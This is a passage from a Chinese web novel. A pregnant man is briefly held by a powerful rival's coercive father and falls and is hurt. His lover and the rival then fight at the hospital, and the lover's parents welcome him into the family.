“赵叔,你怎么会来这里?”谢津延对这位在自己家里供职许多年,从小看着自己长大,宛如亲叔叔一样的长辈,恭敬问道。 赵管家视线落在他手中捧着的玫瑰花,没忘记他刚才喊的那声之遇,还有踏入这间屋子很多熟悉的事物。 尤其是置物架上放着的前不久被翻出来的大少爷夫妇俩用过的那本孕百科全书,老夫人还问起来过。 望着屋子里的一切,回顾过往细节,以及二少爷这段时间总是往乡下跑,赵管家心中其实已经了然。 就是感到十分意外,不知道是什么时候发生的事。 赵管家慈爱道:“小少爷说很久没来看江先生了,老夫人见二少爷事务繁忙,就托我带小少爷来乡下一趟。” 谢津延应了声,没在意赵叔有没有知道他和自己小侄子养父的事情,同样对屋子里没有男人的身影感到疑惑。 这个时间点,男人一般都在工具室,总是再做一会儿木活就要洗漱睡觉,作息十分规律。 他最近孕肚显眼,已经不常出门了,昨日又下了雨,院子里青石板的缝隙到现在都有雨痕。 谢津延一再叮嘱他这两日不要随便出门,免得被雨水滑倒。 谢津延在各个屋子里找了一圈,拿着从工作台上看到的自己特地给男人抽奖抽中的那台手机,问小侄子:“你是一来就没看到你爸爸吗?” 谢寻昭点头:“对呀,我和赵爷爷已经来了快半个小时了,一直没有等到爸爸,我在想是不是爸爸去桑阿姨那里了,或是有其他事情。” 半个小时。 谢津延觉得自己的大脑像是被什么重重敲击了一下,短暂茫白了一秒。 随后,立即去隔壁被男人称作小蓁姐的李氏母女家,询问有没有见过之遇。 得知天黑的时候有一辆陌生的车从小院门口驶离,谢津延第一时间让宋秘书调取出入溪源乡主干道附近的监控信息。 “抱歉啊,昭昭小叔,当时天太黑了,我没看清车牌号,只是正好出门倒垃圾才看到有一辆黑色的车从之遇门口走过。” 小蓁姐面上露出担忧的情绪:“你别担心,也可能之遇去桑姐或是刘叔那里了,之遇不是经常去桑姐那里送木工艺品吗?还有张叔那,也可能买鱼去了。” 谢津延眸色晦暗,面上冷凝,语气却沉稳平静:“谢谢你提供的信息,我再去其他地方找一找。” “要不要我帮你?”小蓁姐担忧问,“让村里其他人也帮忙找一找。” 谢津延朝她欠了欠身:“那麻烦你了。” “不麻烦不麻烦。”小蓁姐望着眼前明显十分担心却极力保持冷静的男人,已经看出了什么。 好像意外又没那么意外,因为这段时间,这个男人几乎住在了之遇这里。 之遇门前的那处荒草地已经成了男人直升飞机的固定停靠点,像一只展翅飞到这里的飞鸟在这处山间的栖息地。 小蓁姐迅速动身,很快,溪源乡的乡民们都帮忙找人,越来越多的人提供那辆出入溪源乡的黑色车辆的信息。 毕竟是不常见的豪车,出现在这样偏僻的地方。 虽然最近因为昭昭小少爷的小叔谢总经常出入溪源乡,带动溪源乡的基础设施建设,有很多工程队和建设集团的人往来这里,乃至重要政府部门的官员都会过来。 但还是有乡民在天黑的时候注意到了这辆车的存在,甚至还有人拍下了模模糊糊的车牌号。 谢津延向村民们表达了感谢,让底下的人根据乡民们提供的这些信息快速去查这辆车。 同时乡长发动大伙四处搜寻,防止出现其他意外。 “小叔,我爸爸怎么了,他去哪里了?”在谢津延带着一身凉意,因奔走乡间沾了一鞋底厚厚泥土尘灰回到小院的时候,被小侄子第一时间跑到面前抱住腿问。 谢津延极力抑制住内心的担忧和焦躁,手指有些发抖地抚上小侄子的脑袋,安慰道:“没事,你爸爸外出去镇上了,我刚问过邻居,可能要明天才会回来。” “小叔等会儿也有重要的事情要忙,昭昭,不然你和赵爷爷先回家吧,等你爸爸回来,小叔忙完,再带你过来找他。” “是啊,小少爷,我们今天先回去吧,既然你爸爸不在家,我们改天再来。”赵管家不知道发生了什么,但直觉告诉他发生了很严重的事情。 “可是……”谢寻昭小小的眉头拧了拧,爸爸出门怎么会不锁门不关灯呢。 但最终他扯了扯小叔叔的衣角,同小叔叔一样漆黑的眼眸闪了闪泪花问:“小叔,我爸爸会回来的对吧?” “嗯。”谢津延揉了揉小侄子的脑袋,“我保证。” 赵管家带小少爷离开,临走前,谢津延蹙眉:“赵叔,先不要告诉我父母,等……我会跟他们说。” “放心,二少爷。”赵管家拍了拍他的肩膀,“江先生会没事的,夫人和老爷那边您也不用担心。” 谢津延眉头蹙得很深地嗯了声。 看赵叔将小侄子带走。 等二人身影走远,直升飞机消失在黑色的天幕,谢津延回到小院,走进家中。 屋子里的灯都亮着,眼前的一切都是他离开前的样子,几乎一点没变。 甚至厨房的案板上还有刚擀好的面条,以及篮子里还带着绿蒂的番茄。 谢津延望着眼前的景象,有种心脏一瞬间被挖空的感觉。 与此同时,一种前所未有的茫然,无措,还有害怕失去什么的恐惧和恐慌漫遍全身。 当初昭昭失踪,还有收到他大哥大嫂去世消息的时候,他就这样。 有一瞬间,眼前黑了好久。 一种类似于高频的哨鸣声和耳鸣声的声音在大脑里持续响着,刺激着神经,像刺耳的刀片划过电流。 耳朵短暂失聪。 他花了很长时间都不肯接受这个事实,匆匆忙忙赶回家。 然后,就看到大哥和大嫂面目全非的遗体。 第66章 第 66 章 无声哭泣地守护自己的珍…… 那是一段他们全家人都不愿意回忆的过往。 尽管过去了三年, 时间渐渐冲淡悲伤,并且因为那个男人带回他的小侄子,家里恢复了曾经和乐融融的景象。 但谢津延还是不愿意再承受一次失去的痛苦。 说好了今晚回来一起商量结婚的事情的, 谢津延要把他们的事向父母坦明, 正式把自己的心上人介绍给大家, 不再是以他小侄子养父的身份。 就算家里人不同意, 他也要坚持到底。 谢津延这辈子都非江之遇不可, 谁都不能把他的爱人从身边抢走。 夜色清明, 一场绵绵不尽的雨后,夜空也像被水洗过似的。 头顶又挂上一轮皎月,洒下银纱似的辉, 薄薄地披在这座漂亮的小院上。 谢津延的脸上却笼罩着失神黯然的神色。 似是想到什么,谢津延打开手机, 翻出群, 手指发颤,手机险些掉在地上。 谢津延:[是不是你们谁把之遇带走了?都算是有头有脸的人, 能不能不要用下作的手段。@黎清叙, 是不是你?] 黎清叙刚从会议室出来, 还沉浸在早上美人和自己的发小已经在一起,并再次有了肌肤之亲的忧伤中,看到发小发在群里的这条消息,莫名其妙。 黎清叙:[你又在发什么疯,什么叫我把昭昭养父带走了?还有什么下作的手段, 我怎么了?] 谢津延眸色晦暗:[你敢说你今天没来乡下找他?] 黎清叙顿时心虚, 他确实趁这位发小外出去国外谈生意打算趁虚而入,可没想到还是慢了,被他这个明明晚自己一步的发小后来居上了。 黎清叙笑了声:[那又怎样, 都说了公平竞争,你成天赖在人家家里跟看门狗似的把我们拦在门外,不让我们见人,你才下作吧。] 谢津延面色一瞬间冷凝阴鸷:[我就问是不是你让人把他带走了,还是你们三个谁做的好事,他不见了。] [什么?之遇哥不见了?]刚从演唱会现场回到休息室的祁焰看到这条消息,怔了怔,随后立刻露出担忧慌张的表情。 [之遇哥怎么会不见了,他不是一直待在家里吗?阿延,到底怎么了,我真的什么都没做,我知道我争不过你们,打算等你们都被拒绝我再去找之遇哥的,我也不想放弃我的梦想。] 谢津延极力忽视额头青筋的跳动,心口也在极速地跳:[他今天晚上被一辆黑色的车带走了,到现在都还没有回来。] [被带走?]黎清叙刚还想骂这位发小又在疯狗咬人,这会儿眼里的嗤笑散去,收敛起一贯玩味的表情,整个人一下子正经严肃起来。 [那你快去找人啊,在这里跟我们发什么疯?!需要我们帮忙吗?我先说好,真不是我做的,我承认我对昭昭养父有不好的心思,但还不至于玩这种狗血小说里的戏码,叫什么?强制爱还是强取豪夺?] 这是黎清叙从爱看恋爱小说的弟弟还有研究室里经常刷狗血短剧打发吃饭时间的师妹们那里听来来的。 他顶多是想撬墙角,给自己的发小养孩子而已。 谢津延就很烦躁,越来越焦虑:[已经在找了,暂时还没有消息。] 祁焰快速敲击屏幕:[阿延你别急,我找我表哥调关系帮你找人,之遇哥一定会没事的!也说不定不是你想的那样。] 黎清叙也急忙往身上套外套:[我去安排医疗团队过去,我没有别的意思,只是他现在怀着孕,肚子不小了,还是小心一点比较好。] [行了,我们都别吵了,现在找人要紧。] 谢津延沉默良久:[你们总算当一回人了……] 几人各自快速行动,动用手中的势力和资源全方位找人。 另一边,霍岭生从看到群消息的第一眼就打过去电话,清冷面色沉晦。 “是不是你,我明明已经警告过你了不要动他。” 同样罩上清明月色的雅致庭院里,霍成峰依旧悠然品茶:“我没有动他,你真是误会我了,我什么都没做,只是作为长辈请他喝杯茶聊聊天,你把我想成什么了?” “对了。”霍成峰笑,“我改变主意了,你看上的这只小白兔确实招人喜欢,我决定不再干涉你们的事情,只有一点,他不能带着别人的孩子进我们家的门。” 通话挂断,伴随着什么东西拽落在地的声音。 江之遇受惊一样看霍先生放下电话,再次朝自己看来。 从刚才自己问可不可以回家了开始,霍先生的态度就变得十分怪异。 还是和善笑着的,一副亲切长辈的模样,却总让人心底生起一股畏惧的森寒。 而且不放自己回家,一直让自己再坐坐,和他聊聊家常,说他已经很久没有和自己这样的小辈说一说家常事了。 江之遇如坐针毡,想走走不了。 一旦表露出想离开的想法,就能看到那位壮硕的保镖朝自己看过来一眼,脸上的横肉似是抽动了下。 那位笑吟吟的助理也会各种劝说。 在这样坐立难安的情形下,江之遇再度起了起身。 “霍先生,时间不早了,我真的要回去了,不用麻烦您让人送我,我可以自己打车回去。” “真的不打算再坐一坐吗?”霍成峰似是流露出惋惜的神情,“这里景致不错,或许你可以留一晚,再看看要不要改变主意,你不知道,有多少人梦寐以求踏入你想离开的这座门槛,你难道不想实现阶级跨越吗?” “不用了,霍先生,谢谢您请我喝茶,我就不打扰您了。”江之遇起身,离开茶桌前。 他从来没有想过这些事情,只想本本分分过好自己的日子。 而且他有自己的宝宝,有阿延了。 就算没有阿延,他对霍先生说的这些事也不感兴趣,他有自己的生活要过。 江之遇向霍少爷的父亲礼貌告别,打算离开,而这时,那位笑吟吟的助理伸手拦住他。 “江先生还是再想一想吧。” “想什么?又要用你们那种折断人羽翼,之后让别人被迫屈服的手段还是什么?” 忽而,一道清冷的声音凉凉传来,江之遇转头,就看到霍少爷的身影不知什么时候出现在了这座园林式的别墅里。 他看起来应该是急匆匆赶来的,衣服和发丝都有些凌乱,面上的神色是从来没有见过的阴冷和沉晦。 霍成峰倒是不意外似的,从茶桌前站起身,拿起佣人点燃的一支雪茄。 烟雾升腾间,他笑了笑:“我还说你什么时候能过来,我替你留了人,不过你的这位心上人显然有点倔,怎么也不肯多留一会儿。” “我说了让你不要干涉我的事。”霍岭生走过去。 阻拦着江之遇的那位助理看到霍少爷冷冷扫过来的眼神,一个寒战,缩回拦住江先生的手。 江之遇见霍少爷回来了,有点舒了一口气,不管怎样,他终于可以离开了。 不管他们父子之间有什么矛盾,霍先生刚才还说了那么多奇奇怪怪的话,江之遇都不打算以后再和他们有牵扯。 却听霍先生继续笑着对霍少爷说:“难道你就一点想法都没有吗?” 霍成峰说着,走到儿子面前拍了拍他的肩:“看你这么急匆匆的样子,看来是真上心了。不过可惜,我刚才和江先生聊了很多,他对你半点心思也没有,我怎么威逼利诱他都没用。” 霍岭生清冷面色变了变,但很快,面色如常道:“那也和你没关系。” “说到底,我们是父子,你的身体里始终流淌着我的血液。”霍成峰走在两人之间,视线来回打量,最后落在自己的儿子身上。 “岭生,你再怎么逃避,试图和我割裂关系,口口声声说不会成为我这样的人,但可惜,有些东西注定改变不了,已经刻进了血液和基因里。” “我就不信你真的无动于衷,就这样放任你好不容易喜欢上的一个男人走向别人。说白了,一个乡下人,你就算把他囚了也不会怎样,不喜欢你又如何?培养培养感情就有了,这样的小白兔,好规训得很,你要是不会,我可以教你。” 江之遇听到霍先生当着自己的面说的这些话,大脑再度嗡了一声。 似乎没想到这位儒雅和善的男人会说出这样让人让人脚底生寒的话。 他似乎有些明白阿延之前跟他说的越是上层圈的人,越是漠视规则和束缚是什么意思了。 因为在这些人看来,一切都是他们随心所欲玩弄的玩物。 江之遇也终于明白霍先生身上那种儒雅随和却又让人心生寒凉的感觉是怎么一回事了。 尤其是他看到霍少爷似乎也变了脸色,开始用一种复杂晦涩的眼神看向自己。 从第一眼看去,江之遇就看不出这个男人眼中的一丝情绪,除了身上散发出的清冷气息,几个人当中,霍少爷是最难以让人看透的一个人。 现在,这双似是藏匿着某种暗流的寂冷湖水般的眼眸定定注视着自己,面上神色有些怔然。 江之遇忽然感受到一股强烈的危险的气息,顾不得推辞,也顾不得他们父子在争论什么,仓促说道:“对不起,霍先生霍少爷,我要回家了,不打扰你们了。” 他说着,快步离开,一秒钟也不想在这个地方多留,他害怕霍先生真的会做出他口中说的这种事情。 却因为太过慌张,一脚踩空门前的石阶。 这座园林式的别墅门前是三层石阶,他们饮茶的茶具就摆在正厅,昨日下了雨,这里的石阶还积有一点雨水。 江之遇滑倒在台阶上,感到一股阵痛迅速从腹部的方向传来,与此同时,一道血痕从裤腿下蜿蜒而出,渐渐流向脚踝。 江之遇一阵吃痛,护住自己的肚子,试图起身。 霍岭生见状,面上怔然一瞬消散,急忙紧张地跑过来:“怎么样,摔到哪里了?” 看到流出来的血痕,他面色瞬间惨白。 霍岭生一把将人抱起:“我送你去医院,你别害怕,我立刻送你去医院。” 霍成峰从茶室紧随而来,看清眼前的景象,似是有些意外。 他张了张口,想要说什么。 就见他的儿子看也不看他一眼,抱着这个怀孕的男人上了停在门前的车。 一路急奔向医院。 霍岭生望着怀中疼得脸色苍白,光洁额头渗出一层细密汗水的男人,心脏疼得滴血,却又懊恼内疚万分。 是自己给他带来这样大的麻烦,让他陷入了这样的囹圄之中。 霍岭生内心从来没有这样大的波动和起伏,一扫清冷淡然模样,颤抖着嗓音,一个劲儿地安慰怀中的人:“没事,很快就到医院了,你会没事的,一定会没事。” “宝宝,阿延。”江之遇疼得整个人都蜷缩住,神志也有些不清,“帮我给阿延打个电话,他马上就回来了,我临走前没有给他发消息,他回来找不到我一定会担心的。” 他有些迷糊地说着这些话,手指揪着眼前一截衣角,额头上细软的发丝被汗水浸湿,总是清透得如雨后水珠的漂亮眼睛蒙上一层痛苦的雾水,让人心脏揪痛。 却口中一直喃喃念叨着肚子里的宝宝和阿延。 霍岭生忽然一阵恍惚,听他不断地喊自己这位发小的名字。 心中复杂情绪翻涌,霍成峰刚才的话在脑海中一闪而过。 是啊,他怎么没有起过不好的心思? 昨日踏入那座漂亮的小院,雨下的屋檐,霍岭生被拒绝后确实动过要不直接将人抢过来的念头。 甚至这一刻,他望着怀中的男人,听他一直叫着自己发小的名字。 明明疼的已经开始意识不清,却满心都是他的这位发小和他们两个人共同的宝宝。 阿延阿延,就确定了是阿延吗? 霍岭生盯着眼前一双苍白呢喃的唇,昨日抹上去的触感似乎依旧在指尖残留着。 此刻抱着他也像曾经在工具屋那样拥他入怀,被清新好闻的草木清香包裹。 霍岭生眸光一时幽幽暗暗,脸上的表情也沉晦不明。 车在快速朝医院的方向疾驰,夜色深重,朗月也被薄云遮住一丝清明。 这个时候,他随便把车转向哪里都不会有人知晓。 他会带他去他们都找不到的地方。 孩子如果保得住,他会帮发小照顾好他的妻儿。 保不住的话,他可以和这个男人再生一个。 反正一开始,男人也是要去父留子的,并不在意肚子里孩子的父亲是谁。 一时各种阴暗情绪涌上心头,霍岭生神色复杂地凝视着怀中的人。 手机不断响动着信息提示的声音,发小群里一直有祁焰和黎清叙他们的消息弹出。 霍岭生瞥了一眼手机,反手扣下,脑海里在疯狂做着斗争。 却在车辆行驶至一个转角,街灯明亮,他无意间瞥见车窗上倒影出来的自己的脸。 模糊地映在车窗上,外面夜幕下的景致飞快掠过,他的脸也像是被飞速拉扯。 变成扭曲的,丑陋的,贪婪的,逐渐描出和霍成峰五官越来越相似的一张脸。 霍岭生怔了片刻,心湖阴暗潮水激荡,却忽然被一道寒气冻结住一般凝在半空。 他望着车窗上令自己无比厌恶的丑陋面孔。 而这时,怀中的人从苍白的唇瓣又溢出一声宝宝和阿延。 霍岭生视线从车窗上移开,再度落回这张陷入意识朦胧状态下的漂亮面庞上。 恍然回到七月那个炎热的夏日上午,凤凰花树开得热烈。 一只木鸟从头顶的窗户横冲直撞落下,继而一双清透漂亮的眼眸透过纷纷扬扬的火红花瓣映在自己眼前。 还有那个暗光昏沉的傍晚,炸开在他们周身的金屑和烟花。 他那样期盼着一个美好生命的降临,提起肚子里的宝宝时,整张脸都是开心向往的。 打理着一座漂亮的小院,一个人将日子过得有声有色,即使身处僻壤的乡间,他的身上也有一种生动鲜活的生命力。 像阿延带过来的那株兰花,长在偏静幽谷,却独自绽放得美好绚烂。 这样一个美好的,有着自己生存方式的无拘无束的人,自己为什么一定要想着禁锢他呢? 霍岭生垂下眼眸,眸色幽暗不明,心头千思万绪涌集,剧烈地挣扎撕扯。 他一直盯着怀中的人。 过了许久,翻过手机,拨通一个号码。 “地址发给你了,你过来找他吧。” 皎月被薄云遮住一丝清明,一阵细微的风吹过,银辉洒落,披在黑夜里快速疾驰过来的车辆。 谢津延几乎是跑着奔向了医院楼层,一身寒露,鞋头和脚底仍粘着泥土和尘灰。 他的发丝很是散乱,翘起几缕,总是齐整的衣服在焦虑不安中染上褶皱,领带被揪扯得很乱。 看到病房前颓丧的身影,他目光淡漠地掠过,随后走进病房,一把握住还在昏睡中男人的手。 漆黑冷厉的眼眸流出眼泪,他像捧住失而复得的珍宝,哭得无声。 谢津延真怕三年前失去亲人的一幕再度上演。 “江先生只是动了一点胎气,身体没有大碍,肚子里的宝宝也安然无恙。” 护士见这位俊逸非凡的男人一进到病房,就开始握住昏睡中那个漂亮男人的手一个劲儿地亲吻,从她的视角能看到他溢出眼角的水光。 护士忍不住出声安慰。 应该是这个漂亮孕夫的老公吧,可是门外那个同样帅气清冷的男人又是什么人呢? 不过这是高级病房,极度注重病人的隐私,护士即使好奇也不好探听许多,交代完病人的情况和注意事项,就把空间留给他们夫夫二人,有事及时按动响铃。 等病房没有别的人,谢津延就一直蹲守在床前,握着男人的手死死不愿松开。 眼眸几乎一刻不眨,就这样盯着眼前的人,生怕一个不小心,他就会从自己眼前消失。 霍岭生望一眼病房里的景象,走到门前:“既然你来了,我就先回去了。” 谢津延闻声,这才松开一直紧紧握着的手,转过头。 他起身走到病房外。 掩上病房的门,谢津延上前二话不说揍了这位发小一拳。 霍岭生唇角吃痛,却像是早已料到一般没有还手。 “第一拳,打你前后不一,道貌岸然,摆着正义的面孔存龌龊的心思。” 谢津延面色阴鸷地冷冷道。 随后,又挥过去一拳。 “第二拳,打你让之遇差点陷入危险的境地,你明知给不了他健康的家庭,却非要去招惹他。” “第三拳,第三拳没什么理由,就是看你不爽。” 霍岭生的脸迅速肿起来,口腔血腥味弥散,他却依旧没有还手。 等对方打完,他忽而扯开唇角,冷笑了声:“打完了吗?” 他也挥过去一拳:“打完的话我也开始揍你了。” “第一拳,打你一开始就居心不良,我记得你自控力很强,就算那晚药效强劲,我相信只要你不想,你完全能克制得住,找到另外解决的方式,可是你没有。” “第二拳。”霍岭生重重揍过去,拳头落在和自己脸上同样的位置。 “打你不负责任,对别人做了这种事还能若无其事地和他同处一个屋檐下,连对方怀了孕都不知道,还说签就签那个协议。” “第三拳。”霍岭生再度挥过去手,“也是看你不爽,明明从小到大我们什么都能争个一二,凭什么这次就被你得逞了。” 这时候已是深夜,这层高级病房的门前没什么人,走廊很是安静。 两人一拳又一拳,拳拳相击的声音在安静的医院走廊上听起来就很清晰。 这样的动静很快引来护士和保安劝架,差点把他们都赶出医院。 还好,等到大家过来劝架的时候,两个人已经打完了。 只是打完,都有些狼狈。 俊逸帅气的两张脸都青肿不堪,唇角溢着血。 末了,谢津延擦了擦唇角的血迹:“不管怎样,谢谢你把他还给我,还算你够兄弟。果然不会叫的狗咬人最疼,我都差点忘了你那个爹经常不干人事。” “你别提他了。”霍岭生眸色瞬间暗沉,露出厌恶的表情,“我以后不会再和他有联系了。” “也对。”谢津延嗤笑,“你再认这个爹,小心一辈子找不到老婆,谁敢进你家的门?” 霍岭生同样嗤笑。 他没作声,抬眸看一眼病床上的男人。 皎洁的月亮挂在病房的窗户上,将男人那张隽美的侧脸照的恬静安然。 霍岭生视线停落良久,最后转身。 “我把人交还给你了,你好好照顾他,要是你们以后分手或是离婚,我会随时等着接盘的。” 谢津延讥诮:“我不会给你们这个机会的,赶紧滚吧。” 霍岭生走了。 病房前重新归于安静。 谢津延转身回病房,继续守着他的爱人。 所以等江之遇从昏迷中睁开眼醒来的时候,窗外天光大亮。 鼻尖浮荡着消毒水的味道,他撑开眼皮,发现自己躺在一个陌生的环境里。 阳光刺眼,他努力睁了睁眼眸,让自己的眼睛逐渐适应这样的光亮。 然后试图弄清发生了什么,自己为什么会躺在了医院的病床上,他依稀记得自己好像从台阶上摔了一跤。 却看见床前围了一堆身影。 好长一段时间没有见到的养子昭昭。 昭昭欢迎宴结束后从北城辞别,只偶尔通过和养子视频通话才会见到的曾经对他特别好的谢老夫人和谢老先生。 还有和蔼可亲的赵管家叔叔。 以及……脸肿成猪头的昭昭小叔? 阿延? 第67章 第 67 章 给老婆跪 江之遇很是茫然, 怔怔地望着眼前的景象。 有那么一瞬,他以为自己是在做梦,真的太像梦境了, 因为谢老夫人和谢老先生怎么会出现在自己眼前。 还有赵管家。 主要是阿延怎么变成这样了, 他那么俊逸帅气的一个人, 平日里总是把自己收拾得一丝不苟, 最近还跟只花孔雀似的, 怎么变得……奇奇怪怪的? 头发乱乱的, 翘起来好几缕,衣领和领带也皱巴巴的。 左眼青了一圈,右脸肿了, 唇角破了皮,脸上好像还有巴掌印, 整个人鼻青脸肿的。 这和他平时的形象一点都不符。 江之遇闭了闭眼, 觉得自己一定是在做梦。 虽然如此,这个梦真美好啊。 一觉醒来, 期盼回家的人出现在眼前, 尽管鼻青脸肿的, 但是阿延没错。 许久未见的养子又来找他了,眨着双乌黑的眼睛关切地注视着他。 还有暂住在谢家那段时间,待他特别好的谢老夫人和谢老先生。 以及无论自己想做什么,都会帮自己找工具的慈蔼的赵管家叔叔。 江之遇有点希望这个梦能在眼前多停留一段时间。 “爸爸,你是不是还有哪里不舒服啊, 奶奶, 要不要叫医生,我爸爸怎么不说话呢?” 谢寻昭见养父好不容易睁开眼睛,却一直看起来很迷茫的样子, 也不跟他说话,很是担心。 “对,叫医生,我这就去叫医生。”谢津延同样万分紧张,担忧地立刻要去叫医生。 却听谢老夫人厉声呵斥:“你给我好好跪着,不用你去叫。” 江之遇:“……” 好像不是在做梦。 江之遇撑了撑身体,试图坐起来:“我没事,谢老夫人,谢老先生,赵叔叔,你们怎么来了?这是医院吗,我怎么进医院了。” 谢老夫人连忙坐到床边,万分关爱的语气:“快别起身,之遇,你昨晚摔了一跤,不过好在及时被送到了医院,身体没什么大碍。你有哪里不舒服吗?” 江之遇懵懵然,昨晚记忆在脑海里慢慢回笼,他想起来发生了什么事情。 “我没事,身体没有哪里不舒服,谢谢谢老夫人关心。” “你还这样叫我吗?”谢老夫人慈爱地抚了抚眼前这个让她之前特别不舍得离开的漂亮孩子的苍白脸庞,满眼疼惜。 江之遇茫然,感受到谢老夫人温柔的爱抚,像母亲一样。 他迷茫疑惑的眼神被谢老夫人看在眼里。 庄婉华一直都知道这个孩子性格纯朴敦厚,但没想到这么老实。 她疼爱地将他把额头上的碎发捋到一边,笑了笑道:“宝宝都这么大了,你是不是该改口叫我们爸爸妈妈了?” ……爸爸妈妈? 江之遇又怔然了一瞬,随后反应过来,顿时有些紧张:“谢、谢老夫人,我不是故意和昭昭小叔这样的。” 这是让江之遇这段时间一直有些不安的事情,不知道怎么面对谢老夫人和谢老先生。 阿延昨天和他说等回来就会向他父母坦明,江之遇还是感到紧张。 庄婉华见他这副模样,更心疼了,忍不住狠狠瞪了跪在一旁的儿子一眼,刚才就该多打他几戒尺。 “之遇,你别紧张,我们都知道了,不是你的错,都怪我们家这个臭小子。” 庄婉华连忙安慰他:“你们两个人的事阿延已经全部告诉我们了,是我们对不住你,让你受了这么大的委屈。” 谢振庭同样安慰出声:“之遇,你不要有心理负担,这件事我们会替你做主,好好教训阿延,绝对不会再让你受委屈。” “我、他,”江之遇有些被眼前的状况弄懵了,也感到十分意外。 他耳根渐渐染上热意,苍白的脸上浮上羞敛的红晕,“阿、阿延都说了吗?” “是啊,全部都说了。”庄婉华再次瞪了旁边的儿子一眼,转过脸来,立刻慈爱关切,一脸疼惜,还有抑制不住的欣喜。 “虽然有些意想不到,可是对我们来说又何尝不是巨大的惊喜。” 庄婉华握了握江之遇的手:“你知不知道,之遇,你到我们家第一天我和振庭就特别喜欢你。我那时觉得,一定是佛祖保佑我们,在大儿子大儿媳离开后,让你带着昭昭来到了我们家。” 庄婉华越说越感慨:“我当时说的,昭昭叫你一声养父,你就算我们半个儿子,我是真这样想的,把你当成了我的另一个孩子。你离开北城回乡下的时候,我其实特别舍不得你离开,想着你要是能一直留在我们家就好了。” “现在好了。”庄婉华眼眸里溢出喜悦欣喜的光芒,还微微闪烁着因为疼惜和激动溢出的一点泪光,“没想到我们会以这样的方式再度成为一家人,我真是太高兴了,我的好儿媳,就是让你受委屈了,阿延这么欺负你,我们一直都不知道。” “您……不反对我们吗?”江之遇听了谢老夫人的话,看到她眼角闪动的泪光,又被她温热的手心握着,一种从来没有感受过的温暖和关怀涌上心头,很奇异的感觉,让他内心很是触动。 庄婉华抹了抹有些湿润的眼角,笑着道:“傻孩子,怎么会呢,我们高兴还来不及。” “是啊,江先生,你不知道夫人得知你和二少爷的事情后有多激动和气愤,当然,气愤的是二少爷,连夜夫人和老爷就赶过来了。” 赵管家在一旁慈蔼着补充,脸上也是温和喜悦的笑意,家里要有大喜事了,还是双喜临门,他的内心也跟着高兴。 “您和谢老先生是连夜赶来的吗?”江之遇很是意外。 庄婉华笑了笑:“主要是我们太担心你了,阿延竟然会让你遭遇这样的事情,还有,刚才跟你说过什么,是不是应该改口叫我们爸爸妈妈了?” “我、我……”江之遇一瞬羞赧,脸颊迅速染上一层热意。 他出生就被遗弃,没有过父母养育他,从来没有叫过爸爸妈妈,对于别人而言很自然而然叫出口的称呼,到了他这里就十分陌生。 明明是向往的,却不知怎么的叫不出来。 而且江之遇有点害怕这是一个美好的梦,梦醒了,一切不过都是自己的幻想。 还有就是,他和阿延还没有结婚呢,就这样叫爸爸妈妈好吗? “妈,你还是先给他一点缓冲时间吧,还没结婚你就让他直接喊你妈,你是不是太急了。”谢津延看出了床上男人的支吾,知道他脸皮薄,出声替他解围。 庄婉华现在看到这个儿子就来气:“现在说我急了?是谁昨晚当着我和你爸的面说非之遇不可,不管我们反不反对,立刻就要结婚的?” 谢津延:“……” 谢津延跪在地上的膝盖动了动,青肿的脸上掠过一抹不自然的神色。 江之遇看过去,这才注意到昭昭小叔竟然是跪在地上的,而不是蹲守在自己的床头。 “阿延他怎么一直跪在地上?”江之遇很是惊讶。 庄婉华看向他,语气充满了歉意和愧疚:“阿延对你做了那样的事情,你第一天找过来,他就……他个小畜生,是我们没有管教好他,我作为父母的,先向你赔礼道歉,之遇,还请你原谅我们当父母的管教不周。” 庄婉华说着,起身向他弯了弯身。 身旁的丈夫也一同欠身向他赔礼道歉。 江之遇先是一怔,随后顿时一阵慌张:“谢、伯父伯母。” 江之遇觉得现在叫爸爸妈妈不太合适,于是改了称呼为伯父伯母,耳根依旧染着羞赧的热意。 “那天是个意外,我们两个都没想到会发生那种事情,您二位别这样,我会过意不去的。” 庄婉华道:“不管怎样,是我们做错了。” 她看向自己的儿子,慈善面容瞬间变得严厉:“阿延,你过来当着大家的面向之遇正式道个歉。” 谢津延腿微微有些发麻,却没有起身,而是膝行朝床头靠近了些,握住男人的手。 “对不起,之遇,一直以来是我错了。” 他深深地说出这句话发自内心的歉意忏悔的话,目光真挚而悔恨。 尤其是发生了昨晚那样的事情,谢津延后来在月夜下长久守在昏迷的爱人面前,没忍住狠狠抽了自己几巴掌。 尽管被医生告知身体无恙,没有损伤,谢津延望着昏睡中爱人苍白的脸,想到他所遭遇的这一切,都是因为自己最初的不自制导致的。 是他一念而动的贪心和欲望,以及夏日雨夜包厢里那个错误的决定,将这个本可以过着自己安生日子,有着平淡生活的纯朴漂亮的男人卷入了他们几个人的漩涡中心。 让他遭受着他们这些人不怀好意的窥伺和觊觎,扰乱他平静的生活。 谢津延昨晚守在床头,一直悔恨,深深地懊悔。 他甚至不敢想象若是出了一点偏差会是怎样的后果。 之遇,还有他肚子里的宝宝。 他该多么难受,他那样宝贝这个孩子…… 谢津延黑眸闪动,心中无限懊悔的情绪翻涌。 他握起男人的手,目光真切地望着他:“我知道我之前对你做了很多不好的事,我混蛋,恶劣,我以后再也不会这样了,我会对你好,对你和宝宝好,我求求你原谅我,如果你不解气,你打我一顿吧。” 江之遇听他说了这样一番话,有些是他昨天在手机上已经打字给他发过。 可是,当他此刻跪在自己面前,用如此懊悔万分的语气再说出这些话,眼里流露出深深自责和忏悔的情绪,江之遇心中又是另一种感触。 “算了,你的脸都肿成这样了……”最后,江之遇听自己说了句。 再打一顿,彻底成猪头了。 江之遇只看向谢老夫人和谢老先生:“伯母,伯父,事情已经过去了那么久,我不想再纠结过往了,阿延的道歉我接受,我们都往前看吧。” “好好,过去的事情就让它过去,以后我们一家人和和美美过日子。”庄婉华激动道。 谢振庭温和问:“之遇,你饿不饿?有没有想吃的东西,爸爸让人去给你做。” 江之遇听到这声爸爸,又望了望谢老先生温和亲善的面孔。 一直以来,在江之遇的印象里,谢老先生都是待在谢老夫人身旁,温和笑着附和妻子的话。 住在谢家那段时间,江之遇知道谢老先生喜欢古董,沉迷研究古物。 他身上气质温和儒雅,却是和霍先生那种给人强烈不适和威压感的表面儒雅完全不同,而是像无声滋养的温润水流一样,有时候甚至会让人忽视他的存在。 可是每一次,他都会站在谢老夫人的身边默默附和妻子的话,给她支持和支撑。 江之遇没想到温润的谢老先生会对自己说出这样亲切的话,还直接就自称爸爸了。 他心中微微触动,与此同时,被谢老夫人温热手心握着的那种温暖的暖流再度涌上心头。 